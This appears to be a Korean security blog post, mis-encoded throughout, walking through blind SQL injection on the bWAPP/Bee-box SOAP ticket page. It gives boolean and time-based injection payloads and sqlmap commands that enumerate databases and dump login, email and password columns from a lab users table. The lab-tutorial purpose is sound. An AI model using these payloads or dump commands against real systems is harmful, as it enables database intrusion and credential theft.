์ƒˆ์†Œ์‹

Game/Bee-box

[Bee-box] Blind SQL ์ธ์ ์…˜ - ์›น ์„œ๋น„์Šค/SOAP

  • -
๋ฐ˜์‘ํ˜•

์ด๋ฒˆ ํฌ์ŠคํŒ…์€ Blind SQL์ธ์ ์…˜  ์›น ์„œ๋น„์Šค/SOAP ๋ฐฉ๋ฒ• ์ž…๋‹ˆ๋‹ค.

 

์‹ค์Šตํ•˜๋Š” ๋ชจ๋“  ๊ณต๊ฒฉ์€ ์‹ค์ œ๋กœ ์‚ฌ์šฉํ•˜์‹œ๋ฉด ์•ˆ๋ฉ๋‹ˆ๋‹ค.

ํ—ˆ์šฉ๋ฐ›์ง€ ์•Š์€ ์„œ๋น„์Šค ๋Œ€์ƒ์— ํ•ดํ‚น์„ ์‹œ๋„ํ•˜๋Š” ํ–‰๋™์€ ๊ธˆ์ง€ํ•˜๋ฉฐ,

๋ชจ๋“  ๋ฒ•์  ์ฑ…์ž„์€ ์‚ฌ์šฉ์ž์—๊ฒŒ ์žˆ๋Š” ๊ฒƒ์„ ๋ช…์‹ฌํ•ด์ฃผ์„ธ์š”.

 

์„ค๋ช…์— ์•ž์„œ, ์•ž์œผ๋กœ ํ•˜๋Š” SQL ์ธ์ ์…˜์˜ ์ผ๋ถ€ ๊ณต๊ฒฉ๋“ค์€ ๋Œ€์‘๋ฐฉ์•ˆ์„ ๋”ฐ๋กœ ํฌ์ŠคํŒ… ํ•˜์ง€ ์•Š์„๊ฒŒ์š”. 

๋Œ€๋ถ€๋ถ„ ๊ฐ™์€ ์„ค๋ช…์ด๊ธฐ ๋•Œ๋ฌธ์— ์ƒ๋žตํ•˜๊ณ , ๋‹ค๋ฅธ ๊ฒฝ์šฐ ๊ธฐ์žฌํ•˜๋„๋ก ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค.

 

 


 

๋‚œ์ด๋„ ํ•˜

 

 

 

'bilnd sql injection- web services/soap' ๋ฅผ ๋“ค์–ด๊ฐ€์„œ ์‹ค์Šตํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค.

 

 

SOAP ์˜ ์ž์„ธํ•œ ๊ฐœ๋…์€ ์•„๋ž˜ ๋ธ”๋กœ๊ทธ๋ฅผ ์ฐธ๊ณ ํ•ด์ฃผ์„ธ์š”.

https://mygumi.tistory.com/55

 

SOAP(Simple Object Access Protocol)์€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๊ณ„์ธต์˜ ํ”„๋กœํ† ์ฝœ์„

์ „์†ก ๊ณ„์ธต์˜ ํ”„๋กœํ† ์ฝœ๋กœ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•˜๋Š” ํ”„๋กœํ† ์ฝœ์ด๋‹ค.

์ฆ‰, HTTP, HTTPS, SMTP ๋“ฑ์„ ํ†ตํ•˜์—ฌ XML๊ธฐ๋ฐ˜์˜ ๋ฉ”์„ธ์ง€๊ฐ€ ๋„คํŠธ์›Œํฌ์—์„œ ๊ตํ™˜๋œ๋‹ค.

์›น ์„œ๋น„์Šค๋Š” ๋„คํŠธ์›Œํฌ์— ์žˆ๋Š” ์ •๋ณด๋ฅผ ๋ชจ์•„ ์„œ๋น„์Šค๋ฅผ ์ œ๊ณตํ•˜๋ฏ€๋กœ SOAP ๋•๋ถ„์— ๋ฌผ๋ฆฌ์ ์œผ๋กœ ์ธ์ ‘ํ•˜์ง€ ์•Š์€ ์„œ๋ฒ„์— 

์ •๋ณด๋ฅผ ์š”์ฒญํ•˜๊ณ  ์š”์ฒญ์— ๋Œ€ํ•œ ์‘๋‹ต ๊ฐ’์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

 

 

 

sqli_5.php๋Š” ์„ ํƒํ•œ ์˜ํ™”์— ๋‚จ์•„ ์žˆ๋Š” ํ‹ฐ์ผ“ ์ˆ˜๋ฅผ ์ถœ๋ ฅํ•˜๋Š” ํŽ˜์ด์ง€๋กœ, ํ‹ฐ์ผ“ ์ˆ˜ ์ถœ๋ ฅ์— SOAP์„ ํ™œ์šฉํ•˜์—ฌ

์˜ˆ๋งค ๊ฐ€๋Šฅํ•œ ํ‹ฐ์ผ“ ์ˆ˜๋ฅผ ์‚ฌ์šฉ์ž์—๊ฒŒ ๋ณด์—ฌ์ค€๋‹ค.

 

์ด ํŽ˜์ด์ง€๋Š” SOAP ๊ธฐ๋Šฅ์„ ํ†ตํ•ด, Boolean Based SQL injection๊ณผ, Time Based SQL injection์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

 

URL์— ๋“œ๋Ÿฌ๋‚œ 'title' ๋ณ€์ˆ˜์— ์ž‘์€๋”ฐ์˜ดํ‘œ๋ฅผ ์ž…๋ ฅํ•˜์—ฌ SQL์ธ์ ์…˜์ด ๊ฐ€๋Šฅํ•œ์ง€ ์•Œ์•„๋ณธ๋‹ค.

๋ณ€์ˆ˜์— SQL์ธ์ ์…˜ ์ทจ์•ฝ์ ์ด ์žˆ๋Š” ๊ฒฝ์šฐ SQL ์˜ค๋ฅ˜๋ฉ”์„ธ์ง€ ์ถœ๋ ฅ.

 

 

 

 

 

์ž‘์€๋”ฐ์˜ดํ‘œ๋ฅผ ์ž…๋ ฅํ–ˆ๋”๋‹ˆ ์˜ค๋ฅ˜ ๋ฉ”์„ธ์ง€ ๋Œ€์‹ 

์˜ˆ๋งค ๊ฐ€๋Šฅํ•œ ํ‹ฐ์ผ“์ด ์žˆ๋‹ค๋Š” ๊ฒฐ๊ณผ๋งŒ ์ถœ๋ ฅํ•˜๊ณ  ํ‹ฐ์ผ“ ์ˆ˜๋Š” ์ถœ๋ ฅ ํ•˜์ง€ ์•Š๋Š”๋‹ค.

 

 

 

Boolean base SQL injection ์ด ๊ฐ€๋Šฅํ•œ์ง€ ์•Œ์•„๋ณด๊ธฐ ์œ„ํ•ด์„œ title๋ณ€์ˆ˜์—

ํ•ญ์ƒ ์ฐธ์ธ ๊ฒฐ๊ณผ๋ฅผ ์ถœ๋ ฅํ•˜๋Š” ์ฟผ๋ฆฌ๋ฅผ ์ž…๋ ฅํ•œ๋‹ค.

 

๋งˆ์ฐฌ๊ฐ€์ง€๋กœ ํ‹ฐ์ผ“์ด ๋‚จ์•„ ์žˆ๋‹ค๋Š” ๋ฉ”์„ธ์ง€๋ฅผ ์ถœ๋ ฅ.

 

 

์ฆ‰ SOAP๊ธฐ๋Šฅ์ด ์‹คํ–‰๋˜์ง€ ์•Š์œผ๋ฉด ํ‹ฐ์ผ“ ์ˆ˜๋Š” ์ถœ๋ ฅ๋˜์ง€ ์•Š๋Š”๋‹ค.

 

์ด๋ฒˆ์—”, ์ฃผ์„์„ ์ž…๋ ฅํ•˜์ง€ ์•Š๊ณ  ํ•ญ์ƒ ์ฐธ์ธ ๊ฒฐ๊ณผ๋ฅผ ์ถœ๋ ฅํ•˜๋Š” ์ฟผ๋ฆฌ๋ฅผ ์ž…๋ ฅํ•œ๋‹ค.

 

 

 

 

'or 1=1# ์ด ์•„๋‹Œ 'or 'a' ='a ๋’ค๋ถ€๋ถ„์„ ๋น„์›Œ์„œ ์ด์–ด์ง€๊ฒŒ ํ•จ

 

 

 

 

์ž…๋ ฅ ๊ฒฐ๊ณผ SOAP ๊ธฐ๋Šฅ์ด ์‹คํ–‰๋˜์–ด ํ‹ฐ์ผ“ ์ˆ˜๋ฅผ ์ถœ๋ ฅํ•œ๋‹ค.

์ฆ‰, ์ฃผ์ž…ํ•œ ์ฟผ๋ฆฌ์™€ ๊ฐ™์ด ์ฐธ์ธ ๊ฒฐ๊ณผ ๊ฐ’์„ ์ถœ๋ ฅํ•œ๋‹ค.

 

๋‹ค์Œ์€ ๊ฑฐ์ง“์ผ ๋•Œ ์ถœ๋ ฅํ•˜๋Š” ๋ฉ”์„ธ์ง€๋ฅผ ํ™•์ธํ•ด ๋ณธ๋‹ค.

 

 

'or 'a'='b 

a=b๊ฐ€ ์•„๋‹ˆ๋ฏ€๋กœ, ์ด ์ฟผ๋ฆฌ๋Š” ๊ฑฐ์ง“์ด๋‹ค. ๊ฒฐ๊ณผ๋Š”

 

 

์ „์— ๊ฒฐ๊ณผ์™€ ๋™์ผํ•˜๋‹ค.

์ฆ‰, SOAP๊ธฐ๋Šฅ์ด ์‹คํ–‰๋˜์ง€ ์•Š๋Š” ๊ฒฝ์šฐ, ์ž…๋ ฅํ•œ ์ฟผ๋ฆฌ๊ฐ€ ๊ฑฐ์ง“์ด๋ผ๊ณ  ํŒŒ์•…ํ•˜๋Š” ๊ฒƒ ๊ฐ™๋‹ค.

 

 

boolean ์ธ์ ์…˜์ด ํ†ตํ•˜๋Š” ๊ฒƒ์„ ํ™•์ธํ–ˆ์œผ๋‹ˆ, ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ time based sql injection ๋„ ์‹œ๋„ํ•ด๋ณธ๋‹ค.

 

 

 

'or sleep(5) and 'a'='a

 

Time based SQL ์ธ์ ์…˜ ์ทจ์•ฝ์ ์ด ์žˆ๋‹ค๋ฉด 5์ดˆ ์ง€์—ฐ ํ›„ ์‘๋‹ต์„ ์ถœ๋ ฅ ํ•  ๊ฒƒ์ด๋‹ค.

 

 

์ง€์—ฐ ๋œ ๊ฒƒ์„ ๋ณด์•„, SQL์ธ์ ์…˜ ์ทจ์•ฝ์ ์ด ์กด์žฌํ•œ๋‹ค๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

 

์œ„ ๋‘๊ฐ€์ง€ blindsql ๋ฐฉ๋ฒ•์œผ๋กœ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๋‚ด์šฉ์„ ํŒŒ์•…ํ•  ์ˆ˜ ์žˆ๋‹ค.

 

 


์ˆœ์„œ์— ๋งž์ถฐ SQL์ธ์ ์…˜์„ ์‹œ๋„ํ•ด๋ณธ๋‹ค.



1. database ์ด๋ฆ„ ์•Œ์•„๋ณด๊ธฐ

์›๋ž˜ ์ง€๊ธˆ๊นŒ์ง€ ์“ฐ๋˜ ๋ฌธ์žฅ์€ ์•„๋ž˜์™€ ๊ฐ™๋‹ค.

'or 1=1 and length(database())=5# ์ด๋Ÿฐ์‹

์ด๋žฌ๋˜ ๋ฐฉ์‹์„ ์•„๋ž˜์ฒ˜๋Ÿผ ๋ฐ”๊พธ์–ด์ค€ ๊ฒƒ์ด๋‹ค.

'or length(database())=5 and 'a'='a

์ˆœ์„œ๋ฅผ ๋ฐ”๊ฟ” ์ฃผ์—ˆ๋‹ค๊ณ  ์ƒ๊ฐํ•˜๋ฉด ๋œ๋‹ค. soap ๊ธฐ๋Šฅ์ด ์‹คํ–‰๋˜๊ฒŒ๋” ํ•˜๋ ค๋ฉด, ๋’ค์— ๋ถ™์—ฌ์„œ ์ด์–ด์ฃผ์ž.

์œ„ ๋ฐฉ๋ฒ•์ด Boolean base sql ์ธ์ ์…˜์ด๋ผ๊ณ  ํ•  ์ˆ˜ ์žˆ๋‹ค.



์•„๋ž˜๋Š” Time based ๋ฐฉ์‹์„ ์„ค๋ช…ํ•˜๊ฒ ๋‹ค.

DB์ด๋ฆ„์„ ์•Œ์•„๋‚ผ๋•Œ ์ง€๋‚œ๋ฒˆ๊นŒ์ง€ ์“ฐ๋˜ ๋ฐฉ์‹์€

'or 1=1 and length(database())=5 and sleep(5)# ์ด๋Ÿฐ ๋ฐฉ์‹์ด์˜€๋‹ค. ์ฆ‰ boolean base๋ฐฉ๋ฒ•์— sleepํ•จ์ˆ˜๋ฅผ ๊ทธ๋ƒฅ ๋’ค์— ๋ถ™์—ฌ ์ฃผ๋Š” ๋ฐฉ์‹์ด์˜€๋Š”๋ฐ

'or length(database())=5 and sleep(5) and 'a'='a ์ด๋Ÿฐ ๋ฐฉ์‹์œผ๋กœ  ๋ฐ”๊ฟ” ์ฃผ๋ฉด๋œ๋‹ค.


'or sleep(5) and length(database())=5 and 'a'='a ์ˆœ์„œ๋Š” ์ด๋ ‡๊ฒŒ๋„ ์ƒ๊ด€์—†์Œ.


2. DB์ด๋ฆ„ ์•Œ์•„๋ณด๊ธฐ


--> boolean
'or 1=1 and substring(database(),1,1)='a'#

์—ฌ๊ธฐ์„œ ์ˆœ์„œ๋ฅผ ๋ฐ”๊ฟ”์ฃผ๋ฉด

'or substring(database(),1,1)='a' and 'a'='a



--->time based sql injection

'or 1=1 and substring(database(),1,1)='a' and sleep(5)#

์ด๋Ÿฐ ๋ฐฉ์‹์ด์˜€๋˜ ๊ฒƒ์— ์ˆœ์„œ๋ฅผ ๋ฐ”๊ฟ”์ฃผ๋ฉด

'or substring(database(),1,1)='b' and sleep(5) and 'a'='a

 


 

์ด๋Ÿฐ์‹์œผ๋กœ ์ญ‰ ์‹œ๋„ํ•ด์„œ ์ €๋ฒˆ ์‹ค์Šต๋“ค์ฒ˜๋Ÿผ ๊ธธ์ด์™€ ์ด๋ฆ„์„ ์ฐจ์ฐจ ์•Œ์•„๊ฐ€๋ฉด ๋œ๋‹ค.

 

 

ํ•˜์ง€๋งŒ ํ•˜๋‚˜ํ•˜๋‚˜ ์ผ์ผ์ด ์ฟผ๋ฆฌ๋ฅผ ์ž…๋ ฅํ•˜๋ฉด ์‹œ๊ฐ„์ด ๋งŽ์ด ๊ฑธ๋ฆฌ๊ธฐ๋•Œ๋ฌธ์—

SQL์ธ์ ์…˜ ๊ณต๊ฒฉ ์ž๋™ํ™” ๋„๊ตฌ sqlmap์„ ์‚ฌ์šฉํ•ด๋ณด๊ฒ ๋‹ค.

 

๋จผ์ € ์นผ๋ฆฌ๋ฆฌ๋ˆ…์Šค๋ฅผ ์ผ ๋‹ค.

 

 

sqlmap ์ ‘์†ํ•œ๋‹ค. 

์˜ต์…˜์„ ์‚ฌ์šฉํ•˜์—ฌ ๊ณต๊ฒฉ์„ ์‹œ๋„ํ•ด๋ณผ๊ฑด๋ฐ, ๊ทธ๋Ÿฌ๊ธฐ ์œ„ํ•ด ๊ผญ ํ•„์š”ํ•œ cookie ๊ฐ’์„ ๋จผ์ € ๊ตฌํ•ด์ค€๋‹ค.

 

๋ฒ„ํ”„์ŠˆํŠธ๋ฅผ ์‚ฌ์šฉํ•ด์„œ HTTP ์—ฐ๊ฒฐ ์š”์ฒญ์‹œ์— ํŒจํ‚ท์— ์กด์žฌํ•˜๋Š” ์ฟ ํ‚ค ํ—ค๋” ๊ฐ’์„ ๊ฐ€์ ธ์˜ค๋ฉด ๋˜๋Š”๋ฐ,

ํ”„๋ก์‹œ ์„ค์ •ํ•˜๊ณ , ์ด๋ž˜์ €๋ž˜ ํ•  ์ผ์ด ๋งŽ์•„ ๋ฒˆ๊ฑฐ๋กœ์šธ ์ˆ˜ ์žˆ์œผ๋‹ˆ,

 

 

 

"์ฟ ํ‚ค ์—๋””ํ„ฐ" ๋ฅผ ๋ฐ›์•„์„œ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์„ ์ถ”์ฒœํ•œ๋‹ค.

์‚ฌ์šฉํ•  ์ผ๋„ ๋งŽ์„ ๋ฟ๋”๋Ÿฌ ์ˆ˜์‹œ๋กœ ์ฟ ํ‚ค์„ธ์…˜ ๊ฐ’์„ ํŽธํ•˜๊ฒŒ ํ™•์ธ ํ•  ์ˆ˜ ์žˆ์–ด์„œ ์œ ์šฉํ•˜๋‹ค.

 

 

์ด๋ ‡๊ฒŒ ์ฟ ํ‚ค๊ฐ’์„ ์•Œ์•˜์œผ๋ฉด, ์˜ต์…˜์„ ์‚ฌ์šฉํ•ด์„œ sql์ธ์ ์…˜์„ ์‹œ๋„ํ•ด๋ณด์ž!

 

์ฒ˜์Œ์—” title์˜ค๋ฅ˜๊ฐ€ ๋–ด์—ˆ์œผ๋‚˜ ๊ณ ์ณค์–ด์š”ใ… ใ… 

 

 


sqlmap์˜ ์˜ต์…˜


-h : ๋‹ค๋ฅธ ์˜ต์…˜ ํ™•์ธํ•˜๊ธฐ

-u : ์ž๋™ํ™” ๊ณต๊ฒฉ์„ ์‹œ๋„ํ•  ํŽ˜์ด์ง€์˜ ์ฃผ์†Œ๋ฅผ ์ž…๋ ฅ

--data : ๋ณ€์ˆ˜๋ฅผ ๋ช…์‹œ

--cookie : ์ฟ ํ‚ค ๊ฐ’์ž…๋ ฅ

-p : ๊ณต๊ฒฉํ•  ๋ณ€์ˆ˜๋ฅผ ์„ค์ •

--dbs : ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๊ตฌ์กฐ ํ™•์ธ

--batch : sqlmap์— ๊ธฐ๋ณธ ์„ค์ •๋œ ๊ฐ’์„ ์ž๋™์œผ๋กœ ์ž…๋ ฅํ•˜๊ณ  ์ธ์ ์…˜์„ ์ง„ํ–‰

 

 

 

sqlmap๋ช…๋ น์–ด

 

 

1. DB๋ช… ๊ตฌํ•˜๊ธฐ

 

root@kali:/# sqlmap -u "http://192.168.0.32/bWAPP/sqli_5.php" 
--cookie="security_level=0; has_js=1; PHPSESSID=b2bb95147170a2166f7e9fc8d4b7e05d"
--data "title=G.I.+Joe%3A+Retaliation&action=go" -p "title" --dbs

 

์ฐธ๊ณ ๋กœ ๋งจ์•ž root@kali๋Š” ๋‹น์—ฐํžˆ ์ œ ๊ฒฝ๋กœ ์ ํ˜€์žˆ๋Š”๊ฑฐ๊ณ ,

http๋’ค ์ฃผ์†Œ๋Š” ์ž์‹ ์˜ ip์ฆ‰ ์ž์‹ ์˜ ์„œ๋ฒ„ ์ฃผ์†Œ ์ ์œผ์…”์•ผ ํ•˜๊ณ ,

cookie์—ญ์‹œ ๋ณธ์ธ์— sessid๋ฅผ ์ž…๋ ฅํ•˜์…”์•ผ ํ•ฉ๋‹ˆ๋‹ค.

 

 

ํ•œ๊ธ€์ž์”ฉ ๋ฝ‘์•„์ฃผ๋„ค์š” ใ…‹ใ…‹ใ…‹

4๊ฐœ์˜ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์ถ”์ถœ!

 

 

2. ํ…Œ์ด๋ธ”๋ช… ๊ตฌํ•˜๊ธฐ

 

sqlmap -u "http://192.168.0.32/bWAPP/sqli_5.php"
--cookie = "security_level=0; has_js=1; PHPSESSID=b2bb95147170a2166f7e9fc8d4b7e05d"
--data "title=G.I.+Joe%3A+Retaliation&action=go" -p "title" -D bWAPP --tables

 

 

3. ์ปฌ๋Ÿผ ๋ช… ๊ตฌํ•˜๊ธฐ

 

sqlmap -u "http://192.168.0.32/bWAPP/sqli_5.php" 

--cookie = "security_level=0; has_js=1; PHPSESSID=b2bb95147170a2166f7e9fc8d4b7e05d"
--data "title=G.I.+Joe%3A+Retaliation&action=go" -p "title" -D bWAPP -T users
--columns

 

 

 

 

4. ๋ฐ์ดํ„ฐ ์ถœ๋ ฅ

 

sqlmap -u "http://192.168.0.32/bWAPP/sqli_5.php" 

--cookie = "security_level=0; has_js=1; PHPSESSID=b2bb95147170a2166f7e9fc8d4b7e05d"
--data "title=G.I.+Joe%3A+Retaliation&action=go" -p "title" -D bWAPP
-T users -C login,email,password,secret --dump --batch

 

 

 

SQL์ธ์ ์…˜ ์„ฑ๊ณต!

 

 

๋Œ€์‘๋ฐฉ์•ˆ  :  PHP ๊ธฐ๋ณธ์ œ๊ณต ํ•จ์ˆ˜ mysql_real_escape_string()ํ•จ์ˆ˜๋กœ ์ž…๋ ฅ ๋ฐ์ดํ„ฐ ์šฐํšŒ

 

๋ฐ˜์‘ํ˜•

'Game > Bee-box' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

[Bee-box] XML/Xpath ์ธ์ ์…˜-2  (0) 2020.09.19
[Bee-box] XML/Xpath ์ธ์ ์…˜  (0) 2020.08.29
[Bee-box] Blind SQL ์ธ์ ์…˜ - Time Based  (0) 2020.08.24
[Bee-box] Blind SQL ์ธ์ ์…˜ - Boolean Based  (2) 2020.08.23
Contents

ํฌ์ŠคํŒ… ์ฃผ์†Œ๋ฅผ ๋ณต์‚ฌํ–ˆ์Šต๋‹ˆ๋‹ค

์ด ๊ธ€์ด ๋„์›€์ด ๋˜์—ˆ๋‹ค๋ฉด ๊ณต๊ฐ ๋ถ€ํƒ๋“œ๋ฆฝ๋‹ˆ๋‹ค.